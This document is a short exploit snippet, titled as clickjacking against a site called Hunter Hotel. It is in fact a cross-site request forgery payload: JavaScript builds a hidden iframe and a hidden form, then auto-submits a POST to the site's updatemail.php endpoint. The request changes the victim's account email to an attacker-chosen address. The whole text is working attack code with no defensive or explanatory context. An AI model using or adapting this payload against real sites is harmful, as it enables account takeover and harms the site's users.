Hunter Hotel - clickjacking

<script>
var i = document.createElement('iframe');
$_email='[email protected]';
$_form='theForm';
i.id = 'api';
i.name = $_form;
i.style.display = 'none';
i.src = 'about:blank';
document.body.appendChild(i);
var d = document.createElement('input');
d.type = 'hidden';
d.name = 'email';
d.value = $_email;
var f = document.createElement('form');
f.action = "http://hunterhotel.net/functions/updatemail.php";
f.id ='none';
f.target = $_form;
f.method = 'post';
f.appendChild(d);
f.style.display = 'none';
document.body.appendChild(f);
f.onload=document.getElementById('none').submit();
</script>